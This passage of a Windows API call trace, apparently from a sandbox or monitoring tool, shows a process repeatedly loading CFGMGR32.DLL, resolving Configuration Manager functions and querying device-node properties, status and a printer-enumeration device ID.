lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.369] malloc (_Size=0x18) returned 0x20abc281d60 [0234.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.370] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47765337, dwHighDateTime=0x1d9eb0c)) [0234.370] SetEvent (hEvent=0x248) returned 1 [0234.374] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.374] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.377] malloc (_Size=0x18) returned 0x20abc281c00 [0234.377] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.378] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47765337, dwHighDateTime=0x1d9eb0c)) [0234.378] SetEvent (hEvent=0x248) returned 1 [0234.382] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.382] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.385] malloc (_Size=0x18) returned 0x20abc281c80 [0234.386] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0234.386] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4778b4e0, dwHighDateTime=0x1d9eb0c)) [0234.386] SetEvent (hEvent=0x248) returned 1 [0234.392] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.392] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.395] malloc (_Size=0x18) returned 0x20abc281c20 [0234.396] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.398] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x477b180a, dwHighDateTime=0x1d9eb0c)) [0234.399] SetEvent (hEvent=0x248) returned 1 [0234.403] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.403] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.407] malloc (_Size=0x18) returned 0x20abc281f00 [0234.407] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x24, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0234.408] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x477b180a, dwHighDateTime=0x1d9eb0c)) [0234.408] SetEvent (hEvent=0x248) returned 1 [0234.507] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.507] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.511] malloc (_Size=0x18) returned 0x20abc281d40 [0234.511] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x24, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0234.511] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x478bc8f9, dwHighDateTime=0x1d9eb0c)) [0234.512] SetEvent (hEvent=0x248) returned 1 [0234.516] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.517] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.520] malloc (_Size=0x18) returned 0x20abc281960 [0234.520] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.521] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x478bc8f9, dwHighDateTime=0x1d9eb0c)) [0234.521] SetEvent (hEvent=0x248) returned 1 [0234.528] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.528] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.531] malloc (_Size=0x18) returned 0x20abc281ce0 [0234.531] CM_Get_Device_IDA (in: dnDevInst=0x25, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{8E320CB0-49C6-48E6-BF25-A7ECE3AEB1B7}") returned 0x0 [0234.531] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x478e2d59, dwHighDateTime=0x1d9eb0c)) [0234.532] SetEvent (hEvent=0x248) returned 1 [0234.536] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.536] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.539] GetProcAddress (hModule=0x7ffb1ced0000, 